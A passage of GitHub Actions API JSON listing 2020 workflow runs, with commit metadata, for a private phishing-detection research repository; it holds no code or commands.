hishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":95343051,"node_id":"MDExOldvcmtmbG93UnVuOTUzNDMwNTE=","head_branch":"bug_fix","head_sha":"4aa1af1956a208ad5623a4807fd3cbdef1446ff6","run_number":176,"event":"push","status":"completed","conclusion":"success","workflow_id":369237,"check_suite_id":651767804,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGU2NTE3Njc4MDQ=","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/95343051","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/95343051","pull_requests":[],"created_at":"2020-05-04T14:48:44Z","updated_at":"2020-05-04T14:53:30Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/95343051/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/95343051/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/651767804","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/95343051/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/95343051/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/95343051/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"4aa1af1956a208ad5623a4807fd3cbdef1446ff6","tree_id":"28848c1ed39d50201be9d51ed83100580d3369c2","message":"'test'","timestamp":"2020-05-04T14:48:32Z","author":{"name":"xzhou29","email":"xin9186@gmail.com"},"committer":{"name":"xzhou29","email":"xin9186@gmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":87049339,"node_id":"MDExOldvcmtmbG93UnVuODcwNDkzMzk=","head_branch":"bug_fix","head_sha":"8a115edd2253870c4c0737df8e844b7a211e3920","run_number":174,"event":"push","status":"completed","conclusion":"success","workflow_id":369237,"check_suite_id":626433925,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGU2MjY0MzM5MjU=","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/87049339","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/87049339","pull_requests":[],"created_at":"2020-04-24T19:28:22Z","updated_at":"2020-04-24T19:33:07Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/87049339/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/87049339/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/626433925","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/87049339/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/87049339/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/87049339/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"8a115edd2253870c4c0737df8e844b7a211e3920","tree_id":"d775f12fea86bcf9c5a5f8eae4e8a538425f41c3","message":"fixed key error","timestamp":"2020-04-24T19:28:07Z","author":{"name":"xzhou29","email":"xin9186@gmail.com"},"committer":{"name":"xzhou29","email":"xin9186@gmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":87021787,"node_id":"MDExOldvcmtmbG93UnVuODcwMjE3ODc=","head_branch":"bug_fix","head_sha":"6dd4dab4da9468f6b31d65a40e170131c9519d46","run_number":173,"event":"push","status":"completed","conclusion":"failure","workflow_id":369237,"check_suite_id":626354539,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGU2MjYzNTQ1Mzk=","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/87021787","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/87021787","pull_requests":[],"created_at":"2020-04-24T18:59:32Z","updated_at":"2020-04-24T19:04:14Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/87021787/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/87021787/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/626354539","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/87021787/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/87021787/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/87021787/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"6dd4dab4da9468f6b31d65a40e170131c9519d46","tree_id":"fe39dcb7342349f87b99f858433250fefbc5a488","message":"time error","timestamp":"2020-04-24T18:59:14Z","author":{"name":"xzhou29","email":"xin9186@gmail.com"},"committer":{"name":"xzhou29","email":"xin9186@gmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. 